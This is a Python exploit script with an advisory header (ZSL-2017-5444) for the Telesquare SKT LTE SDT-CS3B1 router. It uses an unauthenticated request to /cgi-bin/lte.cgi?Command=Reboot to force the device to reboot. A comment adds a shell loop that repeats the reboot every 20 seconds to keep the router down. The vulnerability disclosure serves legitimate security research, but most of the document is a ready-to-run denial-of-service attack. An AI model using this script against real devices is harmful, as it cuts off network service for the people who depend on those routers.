The Telesquare SKT LTE SDT-CS3B1 router suffers from a denial of service vulnerability.
8129b483c3501d8504489290a0bc7fca#!/usr/bin/env python
#
#
# Telesquare SKT LTE Router SDT-CS3B1 Remote Reboot Denial Of Service
#
#
# Vendor: Telesquare Co., Ltd.
# Product web page: http://www.telesquare.co.kr
# Affected version: FwVer: SDT-CS3B1, sw version 1.2.0
# LteVer: ML300S5XEA41_090 1 0.1.0
# Modem model: PM-L300S
#
# Summary: We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G
# LTE wireless communication based LTE router product.
#
# Desc: The router suffers from an unauthenticated reboot command execution.
# Attackers can exploit this issue to cause a denial of service scenario.
#
# --------------------------------------------------------------------
# /lte/lteuicc.shtml:
# -------------------
#
# 858: function RebootRequest()
# 859: {
# 860: var url = "../cgi-bin/lte.cgi?";
# 861: var param = "Command=Reboot";
# 862: XHRPost(RebootHandle, url, param, false ); //sync call
# 863: }
#
# --------------------------------------------------------------------
#
# Tested on: lighttpd/1.4.20
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2017-5444
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5444.php
#
#
# 22.12.2017
#
import sys, requests
if len(sys.argv) < 2:
print 'SKT LTE Router SDT-CS3B1 Remote Reboot'
print 'Usage: b00t.py <ip> <port>\n'
quit()
ip = sys.argv[1]
port = sys.argv[2]
r = requests.get("http://"+ip+":"+port+"/cgi-bin/lte.cgi?Command=Reboot")
# shw: while true; do ./b00t.py 10.0.0.17 8081; sleep 20; done
#print r.content #if in r.content: <xml></xml>, reboot true.
print "Router rebooted."